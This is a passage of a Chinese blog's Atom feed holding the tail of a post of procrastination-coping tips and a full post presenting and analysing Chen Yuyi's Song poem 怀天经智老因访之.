href="#6-利用接下来的15分钟。任何事情你都可以忍受15分钟。你只能通过一次又一次的15分钟才能完成一件事情。因此，你在15分钟时间内所做的事情是相当有意义的。" class="headerlink" title="6.利用接下来的15分钟。任何事情你都可以忍受15分钟。你只能通过一次又一次的15分钟才能完成一件事情。因此，你在15分钟时间内所做的事情是相当有意义的。"></a>6.利用接下来的15分钟。任何事情你都可以忍受15分钟。你只能通过一次又一次的15分钟才能完成一件事情。因此，你在15分钟时间内所做的事情是相当有意义的。</h4><ul><li>不是：“我只有15分钟时间了，何必费力去做呢？”</li><li>而是：“在接下来的15分钟时间内，这件事的哪个部分我可以上手去做呢？”</li></ul><h4 id="7-为困难和挫折做好心理准备。当你遭遇到第一个（或者第二、第三个）困难时，不要放弃。困难只不过是一个需要你去解决的问题，它不是你个人价值或能力的反映。"><a href="#7-为困难和挫折做好心理准备。当你遭遇到第一个（或者第二、第三个）困难时，不要放弃。困难只不过是一个需要你去解决的问题，它不是你个人价值或能力的反映。" class="headerlink" title="7.为困难和挫折做好心理准备。当你遭遇到第一个（或者第二、第三个）困难时，不要放弃。困难只不过是一个需要你去解决的问题，它不是你个人价值或能力的反映。"></a>7.为困难和挫折做好心理准备。当你遭遇到第一个（或者第二、第三个）困难时，不要放弃。困难只不过是一个需要你去解决的问题，它不是你个人价值或能力的反映。</h4><ul><li>不是：“教授不在办公室，所以我没办法写论文了。我想去看场电影。”</li><li>而是：“虽然教授不在，但是我可以在他回来之前先列出论文提纲。”</li></ul><h4 id="8-可能的话，将任务分派出去（甚至扔掉不管！）。你真的是能够做这件事的唯一人选吗？这件事情真的有必要去做吗？记住：没有人可以什么事情都做，你也是。"><a href="#8-可能的话，将任务分派出去（甚至扔掉不管！）。你真的是能够做这件事的唯一人选吗？这件事情真的有必要去做吗？记住：没有人可以什么事情都做，你也是。" class="headerlink" title="8.可能的话，将任务分派出去（甚至扔掉不管！）。你真的是能够做这件事的唯一人选吗？这件事情真的有必要去做吗？记住：没有人可以什么事情都做，你也是。"></a>8.可能的话，将任务分派出去（甚至扔掉不管！）。你真的是能够做这件事的唯一人选吗？这件事情真的有必要去做吗？记住：没有人可以什么事情都做，你也是。</h4><ul><li>不是：“我是唯一一个可以做好这件事的人。”</li><li>而是：“我会给这件事找个合适的人来做，这样我就可以去做更重要的事了。”</li></ul><h4 id="9-保护你的时间。学会怎样说不，不要去做额外的或者不必要的事情。为了从事重要的事务，你可以决定对“急迫”的事情置之不理。"><a href="#9-保护你的时间。学会怎样说不，不要去做额外的或者不必要的事情。为了从事重要的事务，你可以决定对“急迫”的事情置之不理。" class="headerlink" title="9.保护你的时间。学会怎样说不，不要去做额外的或者不必要的事情。为了从事重要的事务，你可以决定对“急迫”的事情置之不理。"></a>9.保护你的时间。学会怎样说不，不要去做额外的或者不必要的事情。为了从事重要的事务，你可以决定对“急迫”的事情置之不理。</h4><ul><li>不是：“我必须对任何需要我的人有求必应。”</li><li>而是：“在工作的时候，我没必要接听电话。我会收看留言，然后在我做完事情后再回电。”</li></ul><h4 id="10-留意你的借口。不要习惯性地利用借口来拖延，而要将它看做是再做15分钟的一个信号。或者利用你的借口作为完成一个步骤之后的奖赏。"><a href="#10-留意你的借口。不要习惯性地利用借口来拖延，而要将它看做是再做15分钟的一个信号。或者利用你的借口作为完成一个步骤之后的奖赏。" class="headerlink" title="10.留意你的借口。不要习惯性地利用借口来拖延，而要将它看做是再做15分钟的一个信号。或者利用你的借口作为完成一个步骤之后的奖赏。"></a>10.留意你的借口。不要习惯性地利用借口来拖延，而要将它看做是再做15分钟的一个信号。或者利用你的借口作为完成一个步骤之后的奖赏。</h4><ul><li>不是：“我累了（抑郁&#x2F;饿了&#x2F;很忙&#x2F;很烦，等等），我以后再做。”</li><li>而是：“我累了，所以我将只花15分钟写报告，接下来我会小睡片刻。”</li></ul><h4 id="11-奖赏你一路上的进步。将奖赏聚焦于你的努力，而不是结果。小心非此即彼的思维方式：你可以说杯子是半空的，也可以说它是半满的。记住：即便是迈出一小步也是进步。"><a href="#11-奖赏你一路上的进步。将奖赏聚焦于你的努力，而不是结果。小心非此即彼的思维方式：你可以说杯子是半空的，也可以说它是半满的。记住：即便是迈出一小步也是进步。" class="headerlink" title="11.奖赏你一路上的进步。将奖赏聚焦于你的努力，而不是结果。小心非此即彼的思维方式：你可以说杯子是半空的，也可以说它是半满的。记住：即便是迈出一小步也是进步。"></a>11.奖赏你一路上的进步。将奖赏聚焦于你的努力，而不是结果。小心非此即彼的思维方式：你可以说杯子是半空的，也可以说它是半满的。记住：即便是迈出一小步也是进步。</h4><ul><li>不是：“除非我全部完成，否则我就会感觉哪里不对。”</li><li>而是：“我已经走出了几步，而且我做事非常努力，这感觉很好。现在我打算去看一部电影。”</li></ul><h4 id="12-将拖延看成是一个信号。停下来问自己：“拖延传递给我的是什么信息？”"><a href="#12-将拖延看成是一个信号。停下来问自己：“拖延传递给我的是什么信息？”" class="headerlink" title="12.将拖延看成是一个信号。停下来问自己：“拖延传递给我的是什么信息？”"></a>12.将拖延看成是一个信号。停下来问自己：“拖延传递给我的是什么信息？”</h4><ul><li>不是：“我又在拖延，我恨我自己。”</li><li>而是：“我又在拖延，我的感受是怎样的？它意味着什么？我可以从中学到什么？”</li></ul><p>记住：你能够做出自己的选择。你可以拖延，你也可以行动。即便在你心里不舒服的时候，你还是可以行动。以往的历史无法决定你当下要怎样做。你可以从学习、成长和挑战自己中获得快乐。你不必等到完美之后才觉得自己具有价值。</p>]]>
    </content>
    <id>https://wmcoder.net/posts/6558.html</id>
    <link href="https://wmcoder.net/posts/6558.html"/>
    <published>2020-09-04T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="拖延处理技巧"><a href="#拖延处理技巧" class="headerlink" title="拖延处理技巧"></a>拖延处理技巧</h1><h4 id="1-确立一个可操作的目标（可观察、具体而实在的），而不是那种模糊而抽象的目标。"><a href=]]>
    </summary>
    <title>拖延处理技巧</title>
    <updated>2020-09-04T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="诗词" scheme="https://wmcoder.net/categories/%E8%AF%97%E8%AF%8D/"/>
    <category term="诗词" scheme="https://wmcoder.net/tags/%E8%AF%97%E8%AF%8D/"/>
    <content>
      <![CDATA[<h1 id="怀天经智老因访之"><a href="#怀天经智老因访之" class="headerlink" title="怀天经智老因访之"></a>怀天经智老因访之</h1><h2 id="原文"><a href="#原文" class="headerlink" title="原文"></a>原文</h2><blockquote><p>​       怀天经智老因访之</p><p>​宋·陈与义</p><p>今年二月冻初融，睡起苕溪绿向东。<br>客子光阴诗卷里，杏花消息雨声中。<br>西庵禅伯还多病，北栅儒先只固穷。<br>忽忆轻舟寻二子，纶巾鹤氅试春风。</p></blockquote><h2 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h2><ul><li>今年二月早春时节，冰雪都开始融化了，寒冬时节沉睡了已久的苕溪，夹带着几丝绿色，潺潺涓涓，向东流去。</li><li>我寓居他乡，在吟诗作赋中淡泊度日。杏花时节，伴随着窗外稀稀落落的雨声，我时常探听远方好友的音讯。</li><li>西庵所居住的智老精于禅学，但病魔缠身；北栅所居住的天经精于儒学，又安于穷困。</li><li>我忽然想念他们，于是就荡舟寻访这二位老友。在春风的吹拂下，我头戴纶巾，身披鹤氅，是何等的风流俊逸！</li></ul><h2 id="注释"><a href="#注释" class="headerlink" title="注释"></a>注释</h2><ul><li>天经：姓叶，名德。智老：即大圆洪智和尚。诗中“禅伯”指大圆洪智，“儒先”指叶天经。</li><li>苕溪：河名，源出浙江省天目山，流经余杭、杭州、湖州等地，进入太湖。</li><li>西庵：智老所居。位于湖州东南九十里的乌镇。禅伯：形容智老精于禅学。</li><li>北栅：天经所居。亦位于湖州东南九十里的乌镇。儒先：形容天经精于儒学。固穷：安于穷困。</li><li>纶巾鹤氅：是六朝以来名士喜爱的穿戴，这里比喻诗人是雅人。纶巾，用丝带做成的头巾。鹤氅，用鸟羽做成的外衣</li></ul><h2 id="赏析"><a href="#赏析" class="headerlink" title="赏析"></a>赏析</h2><p>　　公元1136年（宋高宗绍兴六年）旧历二月，陈与义寓居苕溪畔的青镇，怀念对岸的两位朋友天经和智老，因而写下这首诗。</p><p>　　作品的开篇写时间变化，一夜之间，春水已涨，尽向东流，顿生怀友、访友之意。但笔意至此，先出一折，从自己写起。安于贫贱，甘于淡泊，在吟诗作赋的生涯中，看到杏花春雨又送来一个春天，心中充满了顺适之感。自己如此，友人也是一样。所以下面写到禅伯之多病，儒先之固穷。实则写己即写友，写友即写己，二者交相为用，互为生发，以见出心灵的相契，见出溪涨思友的心理依据。有了前面的铺垫，末二句就顺理成章地踏上了访友的路途。至于见到友人后的情形，却全都忽略了，留给读者自己去想像。但作者另有一诗题为《与智老天经夜坐》：“残年不复徙他邦，长与两禅同夜釭。坐到更深都寂寂，雪花无数落天窗。”其中对雨夜谈禅的描写，正可与此诗互相补充。</p><p>　　“客子光阴诗卷里，杏花消息雨声中”是陈与义的名句，曾经得到宋高宗的激赏。这一联写诗人观赏杏花，以诗自娱，以自然清新的笔触表现了诗人的平淡闲适之情，却并未道出诗人是喜是悲，是苦是乐，给读者留下了想象空间。就对仗来说，此联除了“里”、“中”外，其余都不算工对，但也正因为如此，反映了作者在古典诗歌的对仗艺术上所作的探索，因而曾被魏庆之的《诗人玉屑》列为“宋朝警句”。方回在《瀛奎律髓》卷二十六中对此作了分析：“以客子对杏花，以雨声对诗卷，一我一物，一景一情，变化至此。乃老杜‘即今蓬鬓改，但愧菊花开’，贾岛‘身事岂能遂，兰花又已开’，翻窠换臼，至简斋而益奇也。”对仗要求和谐工稳，是六朝以来的总体趋势；但至唐代发展到极致以后，一些有创造性的诗人如杜甫、韩愈等又致力于打破已成模式化的对仗方式，力图求新求变，突破这种工稳，以求得在不平衡中的平衡。到了宋人手里，就更是有意识地忽略字面上的工稳，而着重于两句之间的内在联系。陈与义的这一联，上句写客中吟咏送日的宁静、淡泊，下联写一个清丽的境界，从而构成一个和谐的整体。至于两句之间在字面上是否的对，倒没有特别注意。从这个角度看，这联诗也反映了宋人对唐诗的发展。</p><h2 id="作者"><a href="#作者" class="headerlink" title="作者"></a>作者</h2><p>​        陈与义(1090-1138)，字去非，号简斋，汉族，其先祖居京兆，自曾祖陈希亮迁居洛阳，故为宋代河南洛阳人（现在属河南）。他生于宋哲宗元祐五年(1090年)，卒于南宋宋高宗绍兴八年(1138年)。北宋末，南宋初年的杰出诗人，同时也工于填词。其词存于今者虽仅十余首，却别具风格，尤近于苏东坡，语意超绝，笔力横空，疏朗明快，自然浑成，著有《简斋集》</p>]]>
    </content>
    <id>https://wmcoder.net/posts/e083.html</id>
    <link href="https://wmcoder.net/posts/e083.html"/>
    <published>2020-04-24T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="怀天经智老因访之"><a href="#怀天经智老因访之" class="headerlink" title="怀天经智老因访之"></a>怀天经智老因访之</h1><h2 id="原文"><a href="#原文" class="headerlink" titl]]>
    </summary>
    <title>怀天经智老因访之</title>
    <updated>2020-04-24T04:00:00.000Z</updated>
  </entry>
</feed>
